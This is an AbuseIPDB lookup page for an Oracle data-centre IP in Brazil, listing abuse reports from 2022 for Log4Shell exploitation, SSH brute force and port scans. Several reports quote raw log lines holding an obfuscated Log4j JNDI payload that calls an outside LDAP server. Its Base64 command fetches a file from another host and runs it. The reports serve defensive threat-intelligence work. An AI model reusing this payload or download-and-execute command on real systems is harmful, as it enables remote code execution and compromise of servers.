JavaScript is disabled. Some features of this site may not work properly. For a smoother experience, please enable JavaScript in your browser settings.

AbuseIPDB » 152.70.222.112

152.70.222.112 was found in our database!

This IP was reported 34 times. Confidence of Abuse is 0%: ?

ISP	Oracle Corporation
Usage Type	Data Center/Web Hosting/Transit
ASN	AS31898
Domain Name	oracle.com
Country	🇧🇷 Brazil
City	Sao Paulo, Sao Paulo

IP info including ISP, Usage Type, and Location provided by IPInfo. Updated weekly.

Report 152.70.222.112

Whois 152.70.222.112

IP Abuse Reports for 152.70.222.112:

This IP address has been reported a total of 34 times from 22 distinct sources. 152.70.222.112 was first reported on June 27th 2022, and the most recent report was 3 years ago.

Old Reports: The most recent abuse report for this IP address is from 3 years ago . It is possible that this IP is no longer involved in abusive activities.

Reporter	IoA Timestamp (UTC)	Comment	Categories
🇺🇸 Ian Poulsen	2022-07-27 10:10:26 (3 years ago)	Log4Shell Scanning - Jun 28 13:57:46.928 Port 59038/tcp	Port Scan
🇱🇻 Alps Mandate	2022-07-22 04:18:05 (3 years ago)	['Apache Log4j Remote Code Execution Vulnerability (CVE-2021-44228)']	Web App Attack
🇺🇸 gu-alvareza	2022-06-29 13:14:07 (3 years ago)	Apache.Log4j.Error.Log.Remote.Code.Execution	Hacking Web App Attack
🇯🇵 HeliJP	2022-06-29 11:10:08 (3 years ago)	2022-06-28 17:36:13 - Recognized attacks\bad behavior from IP address 152.70.222.112 (5 daily hits): ... show more 2022-06-28 17:36:13 - Recognized attacks\bad behavior from IP address 152.70.222.112 (5 daily hits): Host header is a numeric IP address, Remote Command Execution: Unix Command Injection, Remote Command Execution: Unix Shell Expression Found, Detects basic SQL authentication bypass attempts 2/3, Restricted SQL Character Anomaly Detection (cookies): # of special characters exceeded (8) show less	Hacking SQL Injection Web App Attack
Anonymous	2022-06-29 10:28:12 (3 years ago)	[28/Jun/2022:14:18:22 -0400] \"GET / HTTP/1.1\" \"t('${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap ... show more [28/Jun/2022:14:18:22 -0400] \"GET / HTTP/1.1\" \"t('${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//150.136.111.68:1389/TomcatBypass/Command/Base64/d2dldCBodHRwOi8vMTQwLjIzOC4xODAuMzQvbWFrZWZpbGU4OyBjdXJsIC1PIGh0dHA6Ly8xNDAuMjM4LjE4MC4zNC9tYWtlZmlsZTg7IGNobW9kIDc3NyBtYWtlZmlsZTg7IC4vbWFrZWZpbGU4IHJ1bm5lcg==}')\" show less	Hacking
🇺🇸 gu-alvareza	2022-06-28 14:29:40 (3 years ago)	Apache.Log4j.Error.Log.Remote.Code.Execution	Hacking Web App Attack
Anonymous	2022-06-28 14:06:54 (3 years ago)	port scan and connect, tcp 80 (http)	Port Scan
Anonymous	2022-06-28 14:03:20 (3 years ago)	Unauthorized SSH login attempts	Brute-Force SSH
Anonymous	2022-06-28 13:51:02 (3 years ago)	Unauthorized SSH login attempts	Brute-Force SSH
🇵🇱 kolya	2022-06-28 13:46:31 (3 years ago)	[28/06/2022 17:46:31] Unauthorized connection attempt to port 80, server 98ca3b5a.	Port Scan
🇺🇸 npcautomotive.com	2022-06-28 13:30:11 (3 years ago)	152.70.222.112 - - [28/Jun/2022:17:30:11 +0000] "GET / HTTP/1.1" 301 241 "t('${${env:NaN:-j}ndi${env ... show more 152.70.222.112 - - [28/Jun/2022:17:30:11 +0000] "GET / HTTP/1.1" 301 241 "t('${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//150.136.111.68:1389/TomcatBypass/Command/Base64/d2dldCBodHRwOi8vMTQwLjIzOC4xODAuMzQvbWFrZWZpbGU4OyBjdXJsIC1PIGh0dHA6Ly8xNDAuMjM4LjE4MC4zNC9tYWtlZmlsZTg7IGNobW9kIDc3NyBtYWtlZmlsZTg7IC4vbWFrZWZpbGU4IHJ1bm5lcg==}')" "t('${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//150.136.111.68:1389/TomcatBypass/Command/Base64/d2dldCBodHRwOi8vMTQwLjIzOC4xODAuMzQvbWFrZWZpbGU4OyBjdXJsIC1PIGh0dHA6Ly8xNDAuMjM4LjE4MC4zNC9tYWtlZmlsZTg7IGNobW9kIDc3NyBtYWtlZmlsZTg7IC4vbWFrZWZpbGU4IHJ1bm5lcg==}')" ... show less	Hacking
Anonymous	2022-06-28 11:40:30 (3 years ago)	Unauthorised connections	Hacking Brute-Force
🇵🇱 kolya	2022-06-28 11:16:50 (3 years ago)	[28/06/2022 15:16:50] Unauthorized connection attempt to port 80, server 2252f372.	Port Scan
🇫🇷 someone	2022-06-28 10:46:42 (3 years ago)	:80 152.70.222.112 - - [28/Jun/2022:16:46:41 +0200] "GET / HTTP/1.1" 301 432 "t('${${env:NaN:-j}ndi ... show more :80 152.70.222.112 - - [28/Jun/2022:16:46:41 +0200] "GET / HTTP/1.1" 301 432 "t('${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//150.136.111.68:1389/TomcatBypass/Command/Base64/d2dldCBodHRwOi8vMTQwLjIzOC4xODAuMzQvbWFrZWZpbGU4OyBjdXJsIC1PIGh0dHA6Ly8xNDAuMjM4LjE4MC4zNC9tYWtlZmlsZTg7IGNobW9kIDc3NyBtYWtlZmlsZTg7IC4vbWFrZWZpbGU4IHJ1bm5lcg==}')" "t('${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//150.136.111.68:1389/TomcatBypass/Command/Base64/d2dldCBodHRwOi8vMTQwLjIzOC4xODAuMzQvbWFrZWZpbGU4OyBjdXJsIC1PIGh0dHA6Ly8xNDAuMjM4LjE4MC4zNC9tYWtlZmlsZTg7IGNobW9kIDc3NyBtYWtlZmlsZTg7IC4vbWFrZWZpbGU4IHJ1bm5lcg==}')" show less	Web App Attack
🇫🇮 tjs	2022-06-28 07:28:12 (3 years ago)	log4j attack	Hacking

Showing 1 to 15 of 34 reports

Think this IP has been falsely reported? You may request to have the associated reports reviewed and removed. Request Takedown 🚩

Recently Reported IPs:

🇸🇬 194.164.107.5

🇺🇸 165.154.235.9

🇩🇪 64.226.107.125

🇨🇳 14.22.82.116

🇸🇬 8.222.226.131

🇹🇼 198.235.24.100

🇨🇳 182.88.237.120

🇳🇱 176.65.148.229

🇩🇪 89.117.104.8

🇰🇷 52.231.49.61

🇰🇷 52.231.49.58

🇳🇱 5.61.209.224

🇩🇪 2.27.20.149

🇺🇸 216.25.89.145

🇨🇳 180.76.240.16

🇺🇸 162.216.150.42

🇭🇰 114.111.53.214

🇺🇸 108.29.18.105

🇺🇿 95.46.211.142

🇮🇹 93.92.78.54